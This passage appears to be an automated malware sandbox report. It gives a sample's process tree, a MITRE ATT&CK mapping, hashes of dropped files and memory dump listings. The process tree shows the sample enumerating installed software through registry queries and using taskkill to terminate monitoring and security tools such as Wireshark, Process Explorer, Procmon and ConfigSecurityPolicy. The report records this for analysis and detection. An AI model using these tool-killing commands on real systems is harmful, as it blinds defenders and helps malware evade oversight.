- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:64
    3⤵
    PID:4652
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:32
    3⤵
    PID:4712
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4708
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:64
    3⤵
    PID:4728
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:32
    3⤵
    PID:4748
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4808
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:64
    3⤵
    PID:4820
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:32
    3⤵
    PID:4888
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4900
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:64
    3⤵
    PID:4988
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:32
    3⤵
    PID:5040
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:5028
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:64
    3⤵
    PID:2156
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:32
    3⤵
    PID:3804
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /IM "ConfigSecurityPolicy.exe" /T /F
  2⤵
  - Kills process with taskkill
  PID:1136
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:1640
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}" /reg:64
    3⤵
    PID:3452
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}" /reg:32
    3⤵
    PID:4132
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:696
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:64
    3⤵
    PID:4184
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:32
    3⤵
    PID:3768
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:300
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:64
    3⤵
    PID:3104
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:32
    3⤵
    PID:740
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:2556
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:64
    3⤵
    PID:4404
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:32
    3⤵
    PID:4420
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4376
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}" /reg:64
    3⤵
    PID:4636
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180660}" /reg:32
    3⤵
    PID:4444
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F
  2⤵
  - Kills process with taskkill
  PID:4596
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4724
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-007E-0000-1000-0000000FF1CE}" /reg:64
    3⤵
    PID:4828
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-007E-0000-1000-0000000FF1CE}" /reg:32
    3⤵
    PID:4856
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4904
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0000-1000-0000000FF1CE}" /reg:64
    3⤵
    PID:3232
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0000-1000-0000000FF1CE}" /reg:32
    3⤵
    PID:3036
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:3984
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0409-1000-0000000FF1CE}" /reg:64
    3⤵
    PID:1432
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90160000-008C-0409-1000-0000000FF1CE}" /reg:32
    3⤵
    PID:2056
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:5032
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:64
    3⤵
    PID:1592
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}" /reg:32
    3⤵
    PID:952
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:1440
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:64
    3⤵
    PID:2340
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}" /reg:32
    3⤵
    PID:3332
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /IM "wireshark.exe" /T /F
  2⤵
  - Kills process with taskkill
  PID:3892
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4224
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:64
    3⤵
    PID:4264
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{F7CAC7DF-3524-4C2D-A7DB-E16140A3D5E6}" /reg:32
    3⤵
    PID:4228
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:3820
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:64
    3⤵
    PID:740
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Google Chrome" /reg:32
    3⤵
    PID:4380
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4404
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:64
    3⤵
    PID:4652
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" /reg:32
    3⤵
    PID:4664
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4444
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:64
    3⤵
    PID:4760
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" /reg:32
    3⤵
    PID:4644
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4848
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:64
    3⤵
    PID:3656
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" /reg:32
    3⤵
    PID:3232
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4964
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:64
    3⤵
    PID:4988
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" /reg:32
    3⤵
    PID:1636
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:1592
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:64
    3⤵
    PID:1004
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" /reg:32
    3⤵
    PID:2340
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:1020
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:64
    3⤵
    PID:1848
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" /reg:32
    3⤵
    PID:1220
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:3772
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:64
    3⤵
    PID:4372
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" /reg:32
    3⤵
    PID:4436
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4592
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{4A03706F-666A-4037-7777-5F2748764D10}" /reg:64
    3⤵
    PID:4664
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{4A03706F-666A-4037-7777-5F2748764D10}" /reg:32
    3⤵
    PID:4660
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4884
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" /reg:64
    3⤵
    PID:2812
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}" /reg:32
    3⤵
    PID:3232
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:5068
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:64
    3⤵
    PID:3332
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" /reg:32
    3⤵
    PID:3768
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /IM "tshark.exe" /T /F
  2⤵
  - Kills process with taskkill
  PID:3680
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4256
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:64
    3⤵
    PID:4516
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}" /reg:32
    3⤵
    PID:4540
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe
  2⤵
  PID:4460
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:64
    3⤵
    PID:3036
- - C:\Windows\system32\reg.exe
    reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}" /reg:32
    3⤵
    PID:2056
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /IM "text2pcap.exe" /T /F
  2⤵
  - Kills process with taskkill
  PID:2340
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /IM "rawshark.exe" /T /F
  2⤵
  - Kills process with taskkill
  PID:2812
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /IM "dumpcap.exe" /T /F
  2⤵
  - Kills process with taskkill
  PID:4236
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /IM "capinfos.exe" /T /F
  2⤵
  - Kills process with taskkill
  PID:4436
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /IM "Procmon.exe" /T /F
  2⤵
  - Kills process with taskkill
  PID:2060

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\.ntusernt.ini

MD5
50f179b0b57d6a474f5a2bc21f800f34

SHA1
9fa9f2e27fb24567ea3e4571351dad9a32030a6b

SHA256
dfac331819e0c46929d3e1481361da4ebedb80d46e41df8b6c79c83070c6aa4c

SHA512
c4a473cde0e72d0ed88487fa2c41d71b0f02ddac108b7416199b1e4c61685b92d3c79c67e0366e4d4c72734008f554e83e5426ac5f1728baf4c4815e5affa2f6

Download Submit
C:\Users\Admin\oWsdf\Desktop.ini

MD5
cee3ab492cb5e9f2154e9b995b96f221

SHA1
d0c4b3ce375c4c970b23fec4afbd18183256f678

SHA256
54b33fd7088005879be4096fdebbfbab9895572a6c1c8b83963696992885f635

SHA512
390515a62c9cb2c75bd1c0105c6ef44137606e59bc229566eb4e5ba6943908bea213ba857ea3921fe1c62e123d5903a9e340dfb2dcc583b9aae29692a9ebb97a

Download Submit
C:\Users\Admin\oWsdf\MIJPw.class

MD5
8eca12b92226ec7ceb8193771450a074

SHA1
6a426efaa7d416665384c2901644227813ec1894

SHA256
f5a935fac6403d609baa306db915ab5da6e9ab91f3c02a08d031bd32a7cede5d

SHA512
3df544b9cee31c46a093e22972541634f729f029e8157d0020113884618674fc653cd5c62bea4c3ed58a02c1db7f7de1c6428dfe2eea0c615d19641375b19a55

Download Submit
\Users\Admin\AppData\Local\Temp\ynfHBEwEvN5066709710597959979.xml

MD5
ec637273bc8dba95b0b207ff3146ed9d

SHA1
5cba564fd731f6de8ac3d610d22c98b603dfee54

SHA256
ad697691ab8cdb3437cd74107a44d943e95918971984449cee213e5b6db06356

SHA512
58b0c5d075768daa251ea6481462a608e2f2999e6f76743940ba82e850f4e423e84d8eaac622f80de4f4f1f2244f938923e54abb17c1d522832bf39d02a550cf

Download Submit
memory/300-181-0x0000000000000000-mapping.dmp

Download
memory/420-66-0x0000000000000000-mapping.dmp

Download
memory/424-50-0x0000000000000000-mapping.dmp

Download
memory/500-95-0x000001F72EA10000-0x000001F72EA11000-memory.dmp

Filesize
4KB

Download
memory/500-97-0x000001F748E20000-0x000001F748E21000-memory.dmp

Filesize
4KB

Download
memory/500-77-0x00007FFEADD90000-0x00007FFEAE77C000-memory.dmp

Filesize
9.9MB

Download
memory/500-67-0x0000000000000000-mapping.dmp

Download
memory/504-76-0x0000000000000000-mapping.dmp

Download
memory/548-71-0x0000000000000000-mapping.dmp

Download
memory/696-178-0x0000000000000000-mapping.dmp

Download
memory/740-148-0x0000000000000000-mapping.dmp

Download
memory/740-214-0x0000000000000000-mapping.dmp

Download
memory/740-183-0x0000000000000000-mapping.dmp

Download
memory/952-205-0x0000000000000000-mapping.dmp

Download
memory/964-69-0x0000000000000000-mapping.dmp

Download
memory/984-145-0x0000000000000000-mapping.dmp

Download
memory/1004-135-0x0000000000000000-mapping.dmp

Download
memory/1004-229-0x0000000000000000-mapping.dmp

Download
memory/1004-58-0x0000000000000000-mapping.dmp

Download
memory/1020-231-0x0000000000000000-mapping.dmp

Download
memory/1128-75-0x0000000000000000-mapping.dmp

Download
memory/1136-133-0x0000000000000000-mapping.dmp

Download
memory/1136-174-0x0000000000000000-mapping.dmp

Download
memory/1160-89-0x0000000000000000-mapping.dmp

Download
memory/1164-134-0x0000000000000000-mapping.dmp

Download
memory/1208-83-0x0000000000000000-mapping.dmp

Download
memory/1220-59-0x0000000000000000-mapping.dmp

Download
memory/1220-74-0x0000000000000000-mapping.dmp

Download
memory/1220-233-0x0000000000000000-mapping.dmp

Download
memory/1252-132-0x0000000000000000-mapping.dmp

Download
memory/1328-81-0x0000000000000000-mapping.dmp

Download
memory/1416-60-0x0000000000000000-mapping.dmp

Download
memory/1432-201-0x0000000000000000-mapping.dmp

Download
memory/1440-82-0x0000000000000000-mapping.dmp

Download
memory/1440-206-0x0000000000000000-mapping.dmp

Download
memory/1440-92-0x0000000000000000-mapping.dmp

Download
memory/1532-86-0x0000000000000000-mapping.dmp

Download
memory/1532-61-0x0000000000000000-mapping.dmp

Download
memory/1592-228-0x0000000000000000-mapping.dmp

Download
memory/1592-204-0x0000000000000000-mapping.dmp

Download
memory/1636-227-0x0000000000000000-mapping.dmp

Download
memory/1640-136-0x0000000000000000-mapping.dmp

Download
memory/1640-175-0x0000000000000000-mapping.dmp

Download
memory/1748-80-0x0000000000000000-mapping.dmp

Download
memory/1752-62-0x0000000000000000-mapping.dmp

Download
memory/1848-232-0x0000000000000000-mapping.dmp

Download
memory/2056-202-0x0000000000000000-mapping.dmp

Download
memory/2056-252-0x0000000000000000-mapping.dmp

Download
memory/2060-257-0x0000000000000000-mapping.dmp

Download
memory/2060-131-0x0000000000000000-mapping.dmp

Download
memory/2092-137-0x0000000000000000-mapping.dmp

Download
memory/2116-141-0x0000000000000000-mapping.dmp

Download
memory/2120-90-0x0000000000000000-mapping.dmp

Download
memory/2156-172-0x0000000000000000-mapping.dmp

Download
memory/2336-73-0x0000000000000000-mapping.dmp

Download
memory/2340-207-0x0000000000000000-mapping.dmp

Download
memory/2340-230-0x0000000000000000-mapping.dmp

Download
memory/2340-253-0x0000000000000000-mapping.dmp

Download
memory/2516-68-0x0000000000000000-mapping.dmp

Download
memory/2556-185-0x0000000000000000-mapping.dmp

Download
memory/2592-150-0x0000000000000000-mapping.dmp

Download
memory/2788-149-0x0000000000000000-mapping.dmp

Download
memory/2812-241-0x0000000000000000-mapping.dmp

Download
memory/2812-47-0x0000000000000000-mapping.dmp

Download
memory/2812-85-0x0000000000000000-mapping.dmp

Download
memory/2812-254-0x0000000000000000-mapping.dmp

Download
memory/2868-147-0x0000000000000000-mapping.dmp

Download
memory/3036-199-0x0000000000000000-mapping.dmp

Download
memory/3036-251-0x0000000000000000-mapping.dmp

Download
memory/3084-53-0x0000000000000000-mapping.dmp

Download
memory/3084-93-0x0000000000000000-mapping.dmp

Download
memory/3104-182-0x0000000000000000-mapping.dmp

Download
memory/3104-49-0x0000000000000000-mapping.dmp

Download
memory/3104-94-0x0000000000000000-mapping.dmp

Download
memory/3172-51-0x0000000000000000-mapping.dmp

Download
memory/3220-79-0x0000000000000000-mapping.dmp

Download
memory/3232-198-0x0000000000000000-mapping.dmp

Download
memory/3232-224-0x0000000000000000-mapping.dmp

Download
memory/3232-242-0x0000000000000000-mapping.dmp

Download
memory/3332-91-0x0000000000000000-mapping.dmp

Download
memory/3332-209-0x0000000000000000-mapping.dmp

Download
memory/3332-245-0x0000000000000000-mapping.dmp

Download
memory/3452-176-0x0000000000000000-mapping.dmp

Download
memory/3560-55-0x0000000000000000-mapping.dmp

Download
memory/3656-223-0x0000000000000000-mapping.dmp

Download
memory/3680-88-0x0000000000000000-mapping.dmp

Download
memory/3680-244-0x0000000000000000-mapping.dmp

Download
memory/3748-72-0x0000000000000000-mapping.dmp

Download
memory/3752-57-0x0000000000000000-mapping.dmp

Download
memory/3768-180-0x0000000000000000-mapping.dmp

Download
memory/3768-246-0x0000000000000000-mapping.dmp

Download
memory/3772-234-0x0000000000000000-mapping.dmp

Download
memory/3804-173-0x0000000000000000-mapping.dmp

Download
memory/3820-213-0x0000000000000000-mapping.dmp

Download
memory/3856-70-0x0000000000000000-mapping.dmp

Download
memory/3892-208-0x0000000000000000-mapping.dmp

Download
memory/3980-84-0x0000000000000000-mapping.dmp

Download
memory/3980-48-0x0000000000000000-mapping.dmp

Download
memory/3984-200-0x0000000000000000-mapping.dmp

Download
memory/3984-87-0x0000000000000000-mapping.dmp

Download
memory/3992-78-0x0000000000000000-mapping.dmp

Download
memory/4000-64-0x0000000000000000-mapping.dmp

Download
memory/4104-139-0x0000000000000000-mapping.dmp

Download
memory/4132-177-0x0000000000000000-mapping.dmp

Download
memory/4148-138-0x0000000000000000-mapping.dmp

Download
memory/4156-96-0x0000000000000000-mapping.dmp

Download
memory/4156-143-0x0000000000000000-mapping.dmp

Download
memory/4176-140-0x0000000000000000-mapping.dmp

Download
memory/4184-179-0x0000000000000000-mapping.dmp

Download
memory/4204-98-0x0000000000000000-mapping.dmp

Download
memory/4224-142-0x0000000000000000-mapping.dmp

Download
memory/4224-210-0x0000000000000000-mapping.dmp

Download
memory/4228-212-0x0000000000000000-mapping.dmp

Download
memory/4236-255-0x0000000000000000-mapping.dmp

Download
memory/4256-247-0x0000000000000000-mapping.dmp

Download
memory/4264-211-0x0000000000000000-mapping.dmp

Download
memory/4272-144-0x0000000000000000-mapping.dmp

Download
memory/4276-99-0x0000000000000000-mapping.dmp

Download
memory/4324-102-0x0000000000000000-mapping.dmp

Download
memory/4332-151-0x0000000000000000-mapping.dmp

Download
memory/4352-103-0x0000000000000000-mapping.dmp

Download
memory/4372-235-0x0000000000000000-mapping.dmp

Download
memory/4376-154-0x0000000000000000-mapping.dmp

Download
memory/4376-189-0x0000000000000000-mapping.dmp

Download
memory/4380-215-0x0000000000000000-mapping.dmp

Download
memory/4404-216-0x0000000000000000-mapping.dmp

Download
memory/4404-186-0x0000000000000000-mapping.dmp

Download
memory/4408-153-0x0000000000000000-mapping.dmp

Download
memory/4416-152-0x0000000000000000-mapping.dmp

Download
memory/4420-104-0x0000000000000000-mapping.dmp

Download
memory/4420-188-0x0000000000000000-mapping.dmp

Download
memory/4436-236-0x0000000000000000-mapping.dmp

Download
memory/4436-256-0x0000000000000000-mapping.dmp

Download
memory/4444-193-0x0000000000000000-mapping.dmp

Download
memory/4444-219-0x0000000000000000-mapping.dmp

Download
memory/4444-105-0x0000000000000000-mapping.dmp

Download
memory/4448-155-0x0000000000000000-mapping.dmp

Download
memory/4460-250-0x0000000000000000-mapping.dmp

Download
memory/4476-107-0x0000000000000000-mapping.dmp

Download
memory/4484-156-0x0000000000000000-mapping.dmp

Download
memory/4512-108-0x0000000000000000-mapping.dmp

Download
memory/4516-248-0x0000000000000000-mapping.dmp

Download
memory/4536-110-0x0000000000000000-mapping.dmp

Download
memory/4540-249-0x0000000000000000-mapping.dmp

Download
memory/4548-158-0x0000000000000000-mapping.dmp

Download
memory/4556-111-0x0000000000000000-mapping.dmp

Download
memory/4592-112-0x0000000000000000-mapping.dmp

Download
memory/4592-237-0x0000000000000000-mapping.dmp

Download
memory/4596-191-0x0000000000000000-mapping.dmp

Download
memory/4604-113-0x0000000000000000-mapping.dmp

Download
memory/4632-114-0x0000000000000000-mapping.dmp

Download
memory/4636-192-0x0000000000000000-mapping.dmp

Download
memory/4644-221-0x0000000000000000-mapping.dmp

Download
memory/4652-159-0x0000000000000000-mapping.dmp

Download
memory/4652-217-0x0000000000000000-mapping.dmp

Download
memory/4660-239-0x0000000000000000-mapping.dmp

Download
memory/4664-218-0x0000000000000000-mapping.dmp

Download
memory/4664-238-0x0000000000000000-mapping.dmp

Download
memory/4668-115-0x0000000000000000-mapping.dmp

Download
memory/4708-161-0x0000000000000000-mapping.dmp

Download
memory/4712-160-0x0000000000000000-mapping.dmp

Download
memory/4724-194-0x0000000000000000-mapping.dmp

Download
memory/4724-116-0x0000000000000000-mapping.dmp

Download
memory/4728-162-0x0000000000000000-mapping.dmp

Download
memory/4744-117-0x0000000000000000-mapping.dmp

Download
memory/4748-163-0x0000000000000000-mapping.dmp

Download
memory/4760-220-0x0000000000000000-mapping.dmp

Download
memory/4764-118-0x0000000000000000-mapping.dmp

Download
memory/4800-119-0x0000000000000000-mapping.dmp

Download
memory/4808-165-0x0000000000000000-mapping.dmp

Download
memory/4820-120-0x0000000000000000-mapping.dmp

Download
memory/4820-166-0x0000000000000000-mapping.dmp

Download
memory/4828-195-0x0000000000000000-mapping.dmp

Download
memory/4840-121-0x0000000000000000-mapping.dmp

Download
memory/4848-222-0x0000000000000000-mapping.dmp

Download
memory/4856-196-0x0000000000000000-mapping.dmp

Download
memory/4876-122-0x0000000000000000-mapping.dmp

Download
memory/4884-240-0x0000000000000000-mapping.dmp

Download
memory/4888-167-0x0000000000000000-mapping.dmp

Download
memory/4896-123-0x0000000000000000-mapping.dmp

Download
memory/4900-168-0x0000000000000000-mapping.dmp

Download
memory/4904-197-0x0000000000000000-mapping.dmp

Download
memory/4916-124-0x0000000000000000-mapping.dmp

Download
memory/4952-125-0x0000000000000000-mapping.dmp

Download
memory/4964-225-0x0000000000000000-mapping.dmp

Download
memory/4972-126-0x0000000000000000-mapping.dmp

Download
memory/4988-169-0x0000000000000000-mapping.dmp

Download
memory/4988-226-0x0000000000000000-mapping.dmp

Download
memory/4992-127-0x0000000000000000-mapping.dmp

Download
memory/5028-128-0x0000000000000000-mapping.dmp

Download
memory/5028-171-0x0000000000000000-mapping.dmp

Download
memory/5032-203-0x0000000000000000-mapping.dmp

Download
memory/5040-170-0x0000000000000000-mapping.dmp

Download
memory/5052-129-0x0000000000000000-mapping.dmp

Download
memory/5068-243-0x0000000000000000-mapping.dmp

Download
memory/5080-130-0x0000000000000000-mapping.dmp

Download